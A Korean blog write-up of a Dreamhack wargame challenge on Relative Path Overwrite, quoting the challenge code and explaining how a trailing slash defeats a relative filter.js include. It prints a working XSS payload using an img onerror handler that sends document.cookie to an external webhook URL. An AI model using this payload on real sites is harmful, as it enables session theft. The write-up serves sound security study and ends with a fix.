https://dreamhack.io/wargame/challenges/439
RPO 문제이다.
첫 페이지다. index.php 코드와 함께 살펴보자.
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
중요해보이는 php 부분만 뽑아왔다.
page 파라미터를 통해 인수를 받아와서 뒤에 .php를 붙여서 페이지를 나타내준다. 전달받은 인수가 없을 경우에는 main.php를 보여준다.
".." 와 ":" 와 "/"가 인수에 없을 경우에만 페이지를 출력해준다. 해당 필터링으로 LFI 취약점을 방지하는 것으로 보인다.
<h2>Welcom to rpo world</h2>
main.php의 값이다.
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
우리가 입력한 입력값을 base64로 인코딩하고 이스케이프 시킨다. 이 값을 인수로 하여 bot.py를 실행시킨다.
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import sys
import base64
if len(sys.argv) < 2:
exit(-1)
if len(sys.argv[1]) == 0:
exit(-1)
path = base64.b64decode(sys.argv[1]).decode('latin-1')
try:
FLAG = open('/flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
def read_url(url, cookie={'name': 'name', 'value': 'value'}):
cookie.update({'domain':'127.0.0.1'})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get('http://127.0.0.1/')
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
return False
driver.quit()
return True
def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
url = f'http://127.0.0.1/{path}'
return read_url(url, cookie)
if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
print('<script>alert("wrong??");history.go(-1);</script>')
else:
print('<script>alert("good");history.go(-1);</script>')
bot.py에서 우선 path를 확인해보자. path는 우리가 입력한 값이 인코딩되어 있기 때문에 디코딩을 해준 후 우리가 읽을 수 있는 문자열로 변환해주었다.
check_xss함수를 통해 우리가 입력한 path값과 플래그가 전달된다. 이 값들을 인수로 담아 read_url 함수를 호출한다.
readurl은 플래그를 쿠키로 저장하고 우리가 입력한 path를 실행시킨다.
이제 취약점 페이지를 확인해보자.
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
취약점 페이지의 코드와 모습이다.
vuln페이지의 param의 값을 이용해 스크립트를 실행시킬 수 있다면 쿠키를 얻을 수 있을 것 같다. 하지만 filter.js를 통해 필터링이 걸려있는 것 같다.
var filter = ["script", "on", "frame", "object"];
filter.js는 이와 같이 필터링이 걸려있다. param.toLowerCase()를 통해 대소문자를 이용한 우회도 힘들어보인다. 어떤 취약점이 있을까?
우선 Relative Path Overwrite에 대해서 살펴보자. 직역하자면 상대 경로 덮어쓰기가 적당할 것같다.
RPO는 url rewrite기능을 사용할 때 발생한다. 이 기능을 사용하면
https://host/search_user_by_name.php?name=alice
와 같은 url 형태를
https://host/search/alice/
와 같은 형태로 간결하게 나타낼 수 있다. 하지만 브라우저의 경우 어디까지가 딕셔너리이고 어디부터 파라미터인지 구별하지 못할 수 있다. 서버와 브라우저의 해석 차이, 여기서 RPO 취약점이 발생한다.
url rewrite 기능을 사용하면 웹 어플리케이션 스크립트명 이하의 경로를 별도로 지정해도 같은 페이지가 조회되는 경우가 존재한다. 예를 들어 index.php 와 index.php/somepath 둘 다 index.php를 보여준다.
이 부분에 대해서 https://minseosavestheworld.tistory.com/145
이 분이 잘 정리해주셨다. 참고하자.
index.php 뒤에 파라미터가 붙을 시에 해당 웹페이지에서 다른 자원을 참조하는 경우 문제가 발생할 수 있다.
참조하는 경로가 절대경로인 경우와 상대경로인 경우로 나눠서 문제와 함께 확인해보자.
http://host3.dreamhack.games:13726/?page=vuln¶m=dreamhack
기본적인 url 주소이다. index.php가 생략되어 있으므로 붙여주겠다.
이 경우 traili slash가 붙는 경우와 붙지 않는 경우로 나눌 수 있다.
Trailing Slash란, url 끝에 붙는 슬래시로 해당 요소가 디렉터리임을 나타낸다.
trailing slash가 붙지 않는 경우, 해당 요소를 파일로 간주한다. 해당 파일이 없을 경우 디렉터리로 간주한다.
trailing slash가 붙는 경우, 해당 요소를 디렉터리로 간주한다.
Trailing Slash가 없는 경우. 즉, index.php 뒤에 슬래시가 없는 경우 index.php 뒤를 파라미터로 인식해서 상대경로라도 정상적으로 작동하는 모습이다.
Trailing Slash가 있는 경우. 즉, index.php 뒤에 슬래시가 있는 경우 index.php/ 를 현재 디렉터리로 인식하여 경로를
index.php/filter.js
로 부터 참조가 이루어진다.
index.php/filter.js 로 참조 시도 -> 해당 경로에 존재하지 않아 syntax error -> url rewrite로 인하여 index.php파일을 리턴.
따라서 필터링이 이루어지지 않기 때문에 script가 출력 가능으로 판단된다.
param_elem.innerHTML = param;
param의 값은 innerHTML로 값이 변경된다. innerHTML로는 <script> 태그가 적용되지 않는다.
https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0
script elements inserted using innerHTML do not execute when they are inserted.
참고하자.
따라서 우리는 img 태그를 사용하겠다.
index.php/?page=vuln¶m=<img src="" onerror="location.href='https://webhook.site/ca5c2c8f-0e7e-4ccf-9769-f4a32edb0f94?flag='.concat(document.cookie)">
드림핵에서는 문자열을 이어주기 위해서 %2B를 사용해줬다. '+'가 아니라 %2B를 해주는 이유는 스크립트 부분은 2번에 걸쳐서 디코딩이 이루어진다. 따라서 '+'가 url 인코딩된 값인 %2B를 사용해주어야 한다. 이게 귀찮기 때문에 필자는 .concat()함수를 사용해주었다. 해당 값을 Report에 넣어주자.
짜자잔
정리해보겠다.
절대경로로 참조하는 경우
- trailing slash가 없는 경우: 최상위 경로부터 탐색하여 참조한다.
-trailing slash가 있는 경우: 최상위 경로부터 탐색하여 참조한다.
따라서 취약점이 발생하지 않음
상대경로로 참조하는 경우
-trailing slash가 없는 경우: 해당 요소를 파일로 간주하여 현재 디렉터리를 판단한다.
-trailing slash가 있는 경우: 해당 요소를 디렉터리로 간주하여 해당 요소를 현재 디렉터리로 판단한다. 여기서 해당 문제의 취약점이 발생한다.
innerHTML에는 스크립트 태그가 먹히지 않기 때문에 img 태그를 이용하여 스크립트를 넣어준다.
취약점 해결방법
- 절대 경로를 사용했다면 해당 취약점이 발생하지 않았을 것이다. 절대 경로로 바꾸어주자.
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵] Textbook-CBC 풀이 (0) | 2023.09.16 |
---|---|
[드림핵] ROT128 풀이 (0) | 2023.09.11 |
[드림핵] random-test 풀이 (0) | 2023.08.29 |
[드림핵][wargame.kr] fly me to the moon 풀이 (0) | 2023.08.13 |
[드림핵][wargame.kr] jff3_magic 풀이 (0) | 2023.08.09 |